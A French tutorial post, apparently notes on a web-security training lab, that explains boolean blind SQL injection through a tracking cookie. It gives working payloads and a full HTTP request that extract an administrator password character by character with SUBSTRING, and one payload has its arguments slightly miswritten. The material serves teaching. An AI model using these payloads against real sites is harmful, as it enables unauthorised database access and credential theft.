Examining the database

Auteur: Brouettelover 2024-01-03 14:18:29
Categories: > > Tags:

Description

Une injection blind se produit quand un site est vulnérable aux injections SQL mais qu’il ne retourne pas dans la réponse HTTP ce qu’il se passe dans la base de données.

Ce type d’attaque n’est donc pas sensible à l’attaque par UNION.

Exemple

Une application qui utilise des cookies pour de l’analyse d’utilisation.
Les requêtes de l’application seront de cette forme :

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

Ce que l’application va envoyé à la base de donné sous forme SQL sera :

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

Ce requête est vulnérable aux injections SQL, mais le résultat n’est pas renvoyé à l’utilisateur.
Si l’on soumet un TrackingId, l’application devrait retourné un message comme : “welcome back”

Ce comportement permet d’effectuer des Blind SQL injections.

Cette injection devrait afficher le message Welcome back :

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' AND '1'=1

Cette injection ne devrait pas afficher le message Welcome back :

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' AND '1'=2

Ce qui nous permet d’extraire des données pièce par pièce en vérifiant que le message Welcome back est affiché ou non.

Exemple 2

Imaginons que nous savons que la base de données possède une table “Users” et deux colones “Username” et “Password” ainsi qu’un utilisateur appelé Administrator.

Il est possible de réalisé ce type de requête :

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

Si l’application renvoie un ‘Welcome Back”, cela indiquera que la condition est vraie. Ce qui implique que la première du mot de passe devra être plus grande que ‘m’

On essaye ensuite avec ‘t’ :

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't

Si l’application renvoie un ‘Welcome Back”, cela indiquera que la condition est vraie. Ce qui implique que la première du mot de passe devra être plus grande que ‘t’ etc

Dès que l’on pense avoir trouvé le bon char, il suffit de change le > par un = pour changer la condition :

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's

Si la condition est vraie, l’application renvoie un message ‘Welcome Back’, ce qui nous indique que la première lettre du mot de passe est bien ‘s’.

Exemple pratique :

Imaginons que nous savons que la base de données possède une table “users” et deux colones “username” et “password” ainsi qu’un utilisateur appelé administrator.

Ainsi une attaque réel donnerait ceci :

GET /filter?category=Pets' HTTP/2
Host: 0ad50081034732e581c0def9001200b9.web-security-academy.net
Cookie: TrackingId=982ImynZxDaKysvr'%20AND%20SUBSTRING((SELECT%20password%20FROM%20users%20WHERE%20username%20%3d%20'administrator'), 1, N) ='5zs7zkx1egx088r1957l; session=uq1Kn27ruHkKP5AQ0JH5EuIQNCy5roYs
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ad50081034732e581c0def9001200b9.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7

Dans le champ cookie de l’header en faisant incrémenter la position pour chaque nouveau charactère découvert de N, on fait varié la séquence sur tout l’alphabet ainsi que les chiffres, une fois que le message ‘welcome back’ est affiché on passe au charactère suivant et à N + 1

Sur l’ensemble du mot de passe trouvé : 5zs7zkx1egx088r1957l
Quand N vaut 1, la valeur est 5
Quand N vaut 2, la valeur est z
Quand N vaut 3, la valeur est s
etc …

NB : Il est possible de directement “grep” le message ‘welcome back’ dans le html et d’indiquer à Burp de s’arrêter à chaque fois qu’il le trouve.